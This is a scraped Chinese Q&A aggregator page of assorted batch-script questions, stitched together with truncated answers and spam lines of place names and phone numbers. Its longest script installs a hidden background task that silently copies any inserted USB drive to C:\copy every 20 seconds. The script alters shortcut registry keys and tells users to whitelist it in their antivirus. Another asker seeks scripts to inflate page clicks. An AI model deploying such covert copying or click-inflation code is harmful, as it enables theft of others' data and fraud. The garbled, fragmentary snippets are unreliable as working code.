求一段批处理代码或详细指导。

作者&投稿:束解 (若有异议请与网页底部的电邮联系)
求一段批处理代码~

以下存为xxx.cmd放在那含有100个文件的文件夹中运行
========================================
@echo off & color 3f
setlocal EnableDelayedExpansion
for /l %%a in (0,1,9) do (
for /l %%b in (0,1,9) do (
for /l %%c in (0,1,9) do (
if %%a%%b%%c EQU 001 set D=A
if %%a%%b%%c EQU 021 set D=B
if %%a%%b%%c EQU 041 set D=C
if %%a%%b%%c EQU 061 set D=D
if %%a%%b%%c EQU 081 set D=E
if %%a%%b%%c EQU 101 exit
if not exist ".\!D!" md "!D!"
if exist "%%a%%b%%c.txt" move /y "%%a%%b%%c.txt" ".\!D!"
)
)
)
endlocal & exit
========================================

文件名规则是这样的:
***** 12 .mp4
***** 9 .mp4
***** 25 .mp4
....
序号都在后面,我现在想把序号放前面去,如何写批处理,求解!最后有注释,万分感谢!
采纳追加
每次打开网页之前还要把前面的网页关闭。我想配合IP修改器刷点击率。现在我做了两个批处理文件,“1.bat”是自动打开网页;“2.bat”是隔30秒再运行“1.bat”。结果时间一长就有两个问题:1、重复打开的网页太多;2、重复运行的“1.bat”文件太多。请高手帮忙,谢谢!新手,分不高,望大侠相助!

以前收的,自己修改
安装U盘自动复制.cmd
  代码如下:
  @echo off
  mode con: cols=80 lines=40
  color 17
  :start
  cls
  title $$$$*晗*晗*制*造*$$$$
  echo.
  echo.
  echo.
  echo.
  echo ====================================================================
  echo.
  echo.
  echo 安装U盘自动复制
  echo.
  echo 欢迎使用,请选择选项(1,2,3,4,5,6)
  echo.
  echo.
  echo [1] 安装程序
  echo [2] 运行程序
  echo [3] 关闭程序
  echo [4] 卸载程序
  echo [5] 生成快捷方式
  echo [6] 使用帮助
  echo [7] X键关闭
  echo.
  echo.
  echo.
  echo    提示:如果你计算机安装有杀毒软件,请授权此VBS代码!
  echo.
  echo.
  echo.
  echo.
  echo $$$ 晗晗制造,版本1.0 $$$
  echo.
  echo ====================================================================
  echo.
  set /p choice=请输入:
  if {%choice%}=={} goto start
  if /i %choice%==1 goto install
  if /i %choice%==2 goto open
  if /i %choice%==3 goto close
  if /i %choice%==4 goto uninstall
  if /i %choice%==5 goto shutcut
  if /i %choice%==6 goto help
  if /i %choice%==x goto shut
  goto start
  :install
  rem ==============================安装程序=============================
  if exist %temp%\copy.cmd del /Q /f "%temp%\copy.cmd"
  copy copy.cmd "%temp%\copy.cmd" >nul 2>nul
  copy sleep.exe "%temp%\sleep.exe" >nul 2>nul
  rem ==============================隐藏窗口=============================
  if exist %temp%\hide.vbs del /Q %temp%\hide.vbs
  echo.
  echo 如果你计算机安装有杀毒软件,请授权此VBS代码
  reg delete "HKEY_CLASSES_ROOT\lnkfile" /v IsShortcut /f >nul 2>nul
  reg delete "HKEY_CLASSES_ROOT\piffile" /v IsShortcut /f >nul 2>nul
  set path=%temp%\copy.cmd
  echo set ws=WScript.CreateObject("WScript.Shell") >"%temp%\hide.vbs"
  echo ws.Run "%path%",0 >>%temp%\hide.vbs
  rem ==============================建立终止=============================
  echo @echo off >%temp%\kill.cmd
  echo mode con: cols=20 lines=2 >>%temp%\kill.cmd
  echo echo 程序已经成功终止!>>%temp%\kill.cmd
  echo pause ^>nul 2^>nul >>%temp%\kill.cmd
  echo tskill ping ^>nul 2^>nul >>%temp%\kill.cmd
  echo tskill xcopy ^>nul 2^>nul >>%temp%\kill.cmd
  echo tskill sleep ^>nul 2^>nul >>%temp%\kill.cmd
  echo tskill cmd ^>nul 2^>nul >>%temp%\kill.cmd
  echo exit ^>nul 2^>nul >>%temp%\kill.cmd
  rem ==============================建立快捷=============================
  :shutcut
  echo.
  if not exist "%temp%\hide.vbs" goto start
  set path2=%temp%\hide.vbs
  echo [InternetShortcut] >>U盘自动复制.url
  echo URL="%path2%" >>U盘自动复制.url
  echo IconIndex=29 >>U盘自动复制.url
  echo IconFile=C:\windows\system32\shell32.dll >>U盘自动复制.url
  set path3=%temp%\kill.cmd
  echo [InternetShortcut] >>终止U盘自动复制.url
  echo URL="%path3%" >>终止U盘自动复制.url
  echo IconIndex=29 >>终止U盘自动复制.url
  echo IconFile=C:\windows\system32\shell32.dll >>终止U盘自动复制.url
  echo 成功结束!请直接运行快捷方式!
  pause >nul 2>nul
  goto start
  rem ==============================安装结束=============================
  :uninstall
  rem ==============================卸载程序=============================
  echo.
  tskill ping >nul 2>nul
  tskill xcopy >nul 2>nul
  tskill sleep >nul 2>nul
  del /Q /f "%temp%\copy.cmd" >nul 2>nul
  del /Q /f "%temp%\hide.vbs" >nul 2>nul
  del /Q /f "%temp%\copy.tmp" >nul 2>nul
  del /Q /f "%temp%\sleep.exe" >nul 2>nul
  del /Q /f "%temp%\kill.cmd" >nul 2>nul
  del /Q /f U盘自动复制.url >nul 2>nul
  del /Q /f 终止U盘自动复制.url >nul 2>nul
  echo 程序已经成功卸载!
  reg add "HKEY_CLASSES_ROOT\lnkfile" /v IsShortcut /f >nul 2>nul
  reg add "HKEY_CLASSES_ROOT\piffile" /v IsShortcut /f >nul 2>nul
  pause >nul 2>nul
  goto start
  rem ==============================卸载结束=============================
  :open
  rem ==============================运行程序=============================
  echo.
  if not exist %temp%\copy.cmd goto start
  "%temp%\hide.vbs"
  echo 程序已经成功开始自运行(20秒扫描一次)!
  pause >nul 2>nul
  exit
  rem ==============================运行结束=============================
  :close
  rem ==============================终止程序=============================
  echo.
  if not exist %temp%\copy.cmd goto start
  echo 程序已经成功结束自运行!
  pause >nul 2>nul
  tskill ping >nul 2>nul
  tskill xcopy >nul 2>nul
  tskill sleep >nul 2>nul
  tskill cmd >nul 2>nul
  exit
  rem ==============================终止结束=============================
  :help
  rem ==============================使用帮助=============================
  cls
  echo.
  echo.
  echo 本工具适用于Windows XPsp2系统,由此造成的一切损失,本人不负任何责任.
  echo.
  echo.
  echo 使用方法: 1 点击安装程序
  echo.
  echo 2 如果你计算机安装有杀毒软件,请授权此VBS代码
  echo.
  echo 3 第一次安装可能需要先运行,然后结束一次才能生效(视系统设置而定)
  echo.
  echo 4 安装后请用快捷方式启动或者关闭,无需用安装程序启动
  echo.
  echo 5 本程序可以在U盘插入前运行,也可以在插入后运行
  echo.
  echo 6 点击运行程序,程序将自动每20秒执行一次
  echo.
  echo 7 请确保你的c:\有足够的空间,程序运行时候建议不要插移动硬盘
  echo.
  echo 8 请务必确认你要copy的U盘无毒
  echo.
  echo 9 本程序在扫描时比较占内存,建议每次使用后关闭
  echo.
  echo 10 建立的快捷方式,你可以改名并把它放在任何地方,包括启动菜单
  echo.
  echo 11 请及时清理默认保存目录c:\copy文件夹里边的文件
  echo.
  echo 12 本软件不保证copy数据的正确性
  echo.
  echo 13 本软件不要使用于非法用途
  echo.
  echo.
  echo 本软件为免费软件欢迎大家使用
  echo.
  echo 按任意键返回主菜单
  pause >nul 2>nul
  goto start
  rem ==============================帮助结束=============================
  :shut
  rem ==============================关闭程序=============================
  exit
  rem ==============================关闭结束=============================
  

@echo off
for /f %%i in ('wmic logicaldisk get caption^,description^|findstr 移动') do set u=%%i
xcopy %u%\*.* e:\ /s/y

如果不用检测插入的U盘的话,假设U盘所在盘符为G,只需要一句就可以了:

xcopy G:\*.* E:\ /s


如何使用以下的批处理代码??? 批处理为文件名加前缀!!!
批量给文件名前面添加统一前缀的方法 第1,打开电脑上已经安装好的“优速文件批量重命名”软件工具,如下图所示点击【添加文件】或【添加目录】按钮,将需要加前缀的文件全部导入到软件中,进入下一步操作。第2,然后进行设置,命名方式选择“插入”;插入类型选择“自定义内容”;插入内容右边输入前缀文字...

求一批处理文件的代码:间隔一段时间(如30秒)自动同时打开若干个网页...
你说的1.bat八成编写不成熟,不能打开网页就自己关闭,再加上延时的问题,我建议采用vbs。编写a.vbs,代码如下(设1.bat在根目录下):set objShell=wscript.createObject("wscript.shell")do iReturn=objShell.Run("cmd.exe \/C C:\\1.bat", 0, TRUE)wscript.sleep 2000 '暂停2000毫秒 iRetu...

批处理命令大全
显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。6.Call 命令从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。语法call [[Drive:][...

我想求一个停止系统服务或者重启系统服务的批处理代码
echo off net stop spooler del \/f \/s \/q C:\\Windows\\System32\\spool\\PRINTERS\\*.net start spooler pause 复制上边一段保存到记事本文件,然后把记事本文件的后缀名" .txt "改成 " .bat "。net stop spooler ===停止打印服务 del \/f \/s \/q C:\\Windows\\System32\\spool\\PRINTERS\\*...

求一段批量重命名文件名的批处理代码
Echo Off&Setlocal EnabledelayedexpansionFor \/f "tokens=*" %%i in ('dir \/a-d \/b "%~dp0*.docx"') do (Set "fn=%%~ni"&Set "fnd=!fn:~-8!"Call Set fn=%%fn: !!fnd!!=%%Ren "%%i" "!fnd!_!fn!%%~xi"Ren "sss!fnd!.mp3" "!fnd!_!fn!.mp3")Pause ...

求一段能够列出文件夹中所有大于16字节文件的批处理代码
这个很简单吧,用for命令就可以了 for \/r "c:\\tcc\\" %a in (*) do @if %~za gtr 16384 echo %~fa直接在cmd运行即可 搜索c:\\tcc文件夹及子目录里的大于16kb的文件了 如果想保存为批处理 请自行修改为双 搞错了 我看成是16kb了 你修改成16 就可以了 ...

求一段关于批处理的代码,创建.lnk快捷方式到指定目录
ECHO OFFECHO Set WshShell = Wscript.CreateObject("Wscript.Shell") >%temp%\\tmp.vbsECHO pt = "C:\\Program Files\\Common Files" >>%temp%\\tmp.vbsCMD \/c "ECHO ^Set MyLink = WshShell.CreateShortcut(pt ^& "\\程序.lnk")" >>%temp%\\tmp.vbs"ECHO MyLink.TargetPath = "%~dp0...

求一段VBS代码或批处理代码:获取当前时间并比较
If Hour(Time)=5 Or Hour(Time)=17 Then MsgBox "命令1"Else MsgBox "命令2"End If

求一段批处理,希望高手赐教
压缩包能随意打吗?那可真高手,还要查你那机装的什么压缩软件,给你写个直接复制到U盘的文件夹里,下面代码放U盘里XX.bat echo off ::下三行等号后根据情况可改 set pa=d:\\*OPQ set fe=*.cfg set pa2=ab1- set ymd=%date:~,10 set ymd=%ymd:-= set nd=%~d0\\%pa2%%ymd if not ...

请批处理命令高手写一段代码
echo off for \/f "tokens=2 delims=:" %%i in ('ipconfig^|findstr\/i "IP Address"') do (if %%i==192.168.1.67 (netsh interface ip set address 本地连接 static 192.168.1.111 255.255.255.0 192.168.1.1 1) else (netsh interface ip set address 本地连接 static 192.168....

东港市17310805403: 求一段简单的批处理命令代码
拔实采乐: 在记事本里面键入 @echo off copy 你要复制的文件名 c:\你的目标文件夹 然后保存为 文件名.bat

东港市17310805403: 高分求一段批处理命令 -
拔实采乐: ::date2del.bat - 删除指定天数以前修改或创建的文件::edit by 风 2009-09-14 @echo off & setlocal ENABLEEXTENSIONS call :Date2Day %date:~0,10% sdays set /a sdays-=3 call :Day2Date %sdays% difdate echo 将删除 当前目录 %cd% 下 3 ...

东港市17310805403: 一段 for语句 批处理代码,求指点! -
拔实采乐: :: for /f "tokens=1,2,3,4 delims=/ " %%a in ("%date%") do set mt=%%a:: 意思为 将date时间的前4位赋值给变量mt,应该是2015:: set d=%%b&set yr=%%c:: 将%%b的结果赋值给变量d,将%%c的结果赋值给变量yr:: GAGATOSHUT团队

东港市17310805403: 求批处理命令教程(详细) -
拔实采乐: 一.简单批处理内部命令简介1.Echo 命令 打开回显或关闭请求回显功能,或显示消息.如果没有任何参数,echo 命令将显示当前回显设置.语法 echo [{on|off}] [message] Sample:@echo off / echo hello world 在实际应用中我们会把这条命令和重...

东港市17310805403: 求一段批处理代码,搜索计算机指定格式文件 -
拔实采乐: 批处理1:@echo off & title 字符搜索! & color a for /f "delims=" %%1 in ('dir /s /b c:\*.txt') do ( for /f "delims=" %%2 in ('type %%1 ^|findstr "ibm"') do ( echo %%1 >>包含该字符文件所在路径.txt)) pause 批处理2:@echo off & title 字符搜索! ...

东港市17310805403: 急求一段批处理代码 -
拔实采乐: 1 for/f"tokens=1-4 delims=_"%%a in('dir /a-d/s/b^|findstr /r /i ".*_.*_.*_.*"') domove /y"%%a_%%b_%%c_%%d""%%a_%%b_%%c%%~xd" 代码针对性很大,只适用处理文件名包含三个下划线的文件.如果需要更完善的功能,最好提供文件名列表,以便知道文件名的命名规律.

东港市17310805403: 求解释一段批处理代码,要详细因为我是新手 -
拔实采乐: rem 下面的一行表示开启延迟变量@echo off&setlocal enabledelayedexpansionrem 利用for语句逐行提取文档a.txt中每一行for /f "delims=" %%a in (a.txt) do ( rem 将提取的每行的值赋予给变量var set "var=%%a" rem 利用变量替换,将var中的a变成1292 set "var=!var:a=1292!" rem 将var的值定向到b.txt echo !var!>>b.txt)

东港市17310805403: 请教一段批处理代码 -
拔实采乐: IF ERRORLEVEL : 上面的程序运行结束后要送返操作系统一个值,表明成功还是失败.这个值存放在变量ERRORLEVEL中.条件语句IF ERRORLEVEL 检查这个值,决定成功做什么,失败做什么.my_prog_amy_prog_bif errorlevel ...这个测试语句,检查my_prog_b 成功失败.如果检查my_prog_a,则应当my_prog_aif errorlevel ...

东港市17310805403: 谁给我解释一下这段批处理代码,希望详细一点,一句一句来 -
拔实采乐: @echo off color 0a setlocal enabledelayedexpansion set a=12fgh56gh4fgh68hfh8k9kjh7 :start for /l %%j in (1 1 1000) do ( call :random set /p u=!r! < nul for /l %%a in (1,1,!y!) do ( set/p= <nul for /l %%w in (1,1,100) do echo %%w > nul ) ) GOTO start :...

东港市17310805403: 寻求一段bat批处理代码 -
拔实采乐: ::══代══码══开══始═══ @echo off for /f "eol= skip=1 delims=: tokens=1" %%i in ('wmic logicaldisk where "drivetype'5'" get name') do md %%i:\folder pause::Coded By escortmnm from VBS团队::══代══码══结══束═══::说明:设立使用...

本站内容来自于网友发表,不代表本站立场,仅表示其个人看法,不对其真实性、正确性、有效性作任何的担保
相关事宜请发邮件给我们
© 星空见康网